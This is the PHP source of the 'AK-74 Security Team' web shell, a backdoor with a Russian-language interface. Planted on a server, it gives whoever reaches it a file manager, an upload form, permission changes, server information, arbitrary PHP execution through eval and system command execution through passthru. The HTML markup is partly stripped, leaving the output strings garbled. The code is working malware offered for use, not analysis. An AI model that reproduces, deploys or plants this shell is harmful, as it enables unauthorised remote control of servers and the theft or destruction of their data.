.:: :[ AK-74 Security Team Web-shell ]: ::.
'; return $res; } function outputmenu() { $res = ''; $res .= '

Общая информация | Файловый менеджер | phpinfo() | Выполнить PHP | Выполнить команду

'; return $res; } function outputdown() { $res = ''; $res .= '

'; return $res; } function outputfilemanager() { $res = ''; $number = 0; $dirs = $this->getdirs(); $files = $this->getfiles(); sort($dirs); sort($files); $res .= '
Текущая директория:'.$_SESSION['currentdir'].'
Размер, байт Последнее изменение Права доступа
'; for ($i = 0; $i < count($dirs); $i++) { $res .= '
'.(++$number).' '.$dirs[$i].' '; $res .= ''.($this->getpermission($_SESSION['currentdir'].'/'.$dirs[$i])).''; $res .= ' delete
'; } for ($i = 0; $i < count($files); $i++) { $res .= '
'.(++$number).''; $res .= ''.$files[$i]['filename'].''; $res .= ' '.$files[$i]['filesize'].''; $res .= ''.$files[$i]['lastmod'].''; $res .= ''.($this->getpermission($_SESSION['currentdir'].'/'.$files[$i]['filename'])).''; $res .= 'edit'; $res .= 'delete
'; } $res .= '
'; $res .= '

'; $res .= '
Создать директорию: |
'; $res .= '
Создать файл: |
'; $res .= '
Закачать файл: | и присвоить имя |
'; $res .= '

'; $res .= '
Copyright AK-74 Security Team 2005 - '.date("Y").'
'; return $res; } function outputinfo() { $res = ''; $res .= '
Общая информация о сервере

1. OS - '.(php_uname()).'
2. Версия PHP - '.(phpversion()).'
3. User - '.( get_current_user()).' || User ID - '.( getmyuid()).' || Group ID - '.( getmygid ()).'
4. Server Software - '.(getenv('SERVER_SOFTWARE')).'
5. Request Method - '.(getenv('REQUEST_METHOD')).'
6. Server IP - '.(getenv('SERVER_ADDR')).'
7. Your IP - '.(getenv('REMOTE_ADDR')).'
8. X Forwarded For IP - '.(getenv('HTTP_X_FORWARDED_FOR')).'

Copyright AK-74 Security Team 2005 - '.date("Y").'
'; return $res; } function chmodform($file) { $perms = $this->getpermissionarray($file); $res = ''; $res .= '' .'
Изменение прав доступа

'; $res .= '
| r | w | x | r | w | x | r | w | x
'; $res .= '
'; for ($i = 1; $i <= 9; $i++) $res .= '
'; $res .= '
'.$perms[0].' |
'; $res .= '

'; return $res; } function editfileform($file) { $fp = fopen($file,'r'); if (!$fp) return 'Редактирование файла'; $res = ''; $res .= '' .'
Редактирование файла

'; $res .= '
'.(htmlspecialchars(fread($fp, filesize($file)))).'
'; $res .= '
Rename: -
'; $res .= '

'; fclose($fp); return $res; } function executeform() { $res = ''; $res .= '
Выполнение PHP-кода Открытие и закрытие PHP кода ( <? и ?> ) писать не нужно!

'; $res .= '

Copyright AK-74 Security Team 2005 - '.date("Y").'
'; return $res; } function execute() { echo "

"; echo "

    ";
    eval(stripslashes($_POST['phpcode']));
    echo "

"; echo "

"; } function exesysform() { $res = ''; $res .= '
Execute system commands!

'; $res .= '

Copyright AK-74 Security Team 2005 - '.date("Y").'
'; return $res; } function exesys() { echo "

"; echo "

    ";
    $result = passthru($_POST['cmmd']);
    echo "

"; echo "

"; } function editfile($file) { if (!empty($_POST['rename'])) { rename ($_POST['file'], $_POST['rename']); } $fp = fopen($_POST['rename'],'w'); if (!$fp) return 0; fwrite($fp, stripslashes($_POST['filecontent'])); fclose($fp); return 1; } function chmodfile($file) { $res = 0; switch ($_POST['perms0']) { case 's': $res = $res | 0xC000; break; case 'l': $res = $res | 0xA000; break; case '-': $res = $res | 0x8000; break; case 'b': $res = $res | 0x6000; break; case 'd': $res = $res | 0x4000; break; case 'c': $res = $res | 0x2000; break; case 'p': $res = $res | 0x1000; break; case 'u': break; } if (isset($_POST['perms1'])) $res = $res | 0x0100; if (isset($_POST['perms2'])) $res = $res | 0x0080; if (isset($_POST['perms3'])) $res = $res | 0x0040; if (isset($_POST['perms4'])) $res = $res | 0x0020; if (isset($_POST['perms5'])) $res = $res | 0x0010; if (isset($_POST['perms6'])) $res = $res | 0x0008; if (isset($_POST['perms7'])) $res = $res | 0x0004; if (isset($_POST['perms8'])) $res = $res | 0x0002; if (isset($_POST['perms9'])) $res = $res | 0x0001; echo substr(sprintf('%o', $res), -4); return chmod($file,intval(substr(sprintf('%o', $res), -4),8)); } function downloadfile($file) { header ("Content-Type: application/octet-stream"); header ("Content-Length: " . filesize($file)); header ("Content-Disposition: attachment; filename=$file"); readfile($file); die(); } function createdir() { if (!empty($_POST['dircreate'])) if (mkdir($_SESSION['currentdir'].'/'.$_POST['dircreate'])) return 'Директория создана!'; return 'Ошибка при создании директории'; } function createfile() { if (!empty($_POST['filecreate'])) { if (file_exists($_SESSION['currentdir'].'/'.$_POST['filecreate'])) return 'Файл уже существует'; $fp = fopen($_SESSION['currentdir'].'/'.$_POST['filecreate'],"w"); if ($fp) { fclose($fp); return 'Файл создан!'; } } return 'Ошибка при создании файла'; } function uploadfile() { if ($_FILES['filename']['error'] != 0) return '121212'; $_POST['filename2'] = trim($_POST['filename2']); if (empty($_POST['filename2'])) $_POST['filename2'] = $_FILES['filename']['name']; if (!copy($_FILES['filename']['tmp_name'],$_SESSION['currentdir'].'/'.$_POST['filename2'])) if (!move_uploaded_file($_FILES['filename']['tmp_name'],$_SESSION['currentdir'].'/'.$_POST['filename2'])) return 'Закачка файла не выполнена...'; return 'Закачка файла произведена успешно!'; } } $shell = new shell(); $timestart = $shell->getmicrotime(); $content = ''; if (!isset($_SESSION['currentdir'])) $_SESSION['currentdir'] = str_replace('\\','/',$_SERVER['DOCUMENT_ROOT']); if (isset($_GET['dir'])) { if (opendir(realpath($_SESSION['currentdir'].'/'.$_GET['dir']))) $_SESSION['currentdir'] = realpath($_SESSION['currentdir'].'/'.$_GET['dir']); Header("Location: $xshell?act=filemanager"); } $_SESSION['currentdir'] = str_replace('\\','/',$_SESSION['currentdir']); if (substr($_SESSION['currentdir'],-1,1) == '/') $_SESSION['currentdir'] = substr($_SESSION['currentdir'],0,-1); switch ($_POST['action']) { case 'chmod': if($shell->chmodfile($_POST['file'])) $content .= 'Смена прав произошла успешно'; break; case 'editfile': if ($shell->editfile($_POST['file'])) $content .= 'Редактирование произошло успешно'; break; case 'execute': $shell->execute(); break; case 'exesys': $shell->exesys(); break; case 'mkdir': $content .= $shell->createdir(); break; case 'createfile': $content .= $shell->createfile(); break; case 'uploadfile': $content .= $shell->uploadfile(); break; } $content .= $shell->outputhead(); $content .= $shell->outputmenu(); switch ($_GET['act']) { case 'edit': $content .= $shell->editfileform($_GET['file']); break; case 'chmod': $content .= $shell->chmodform($_GET['file']); break; case 'down': $content .= $shell->downloadfile($_GET['file']); break; case 'filemanager': if ($_GET['act2'] == 'del') $content .= $shell->removefile(); $content .= $shell->outputfilemanager(); if ($_GET['act3'] == 'del') $content .= $shell->removedir(); break; case 'phpinfo': phpinfo(); die(); break; case 'info': $content .= $shell->outputinfo(); break; case 'execute': $content .= $shell->executeform(); break; case 'exesys': $content .= $shell->exesysform(); break; } $content .= $shell->outputdown(); echo $content; echo '
Время генерации: '.($shell->getmicrotime()-$timestart).'
'; ?>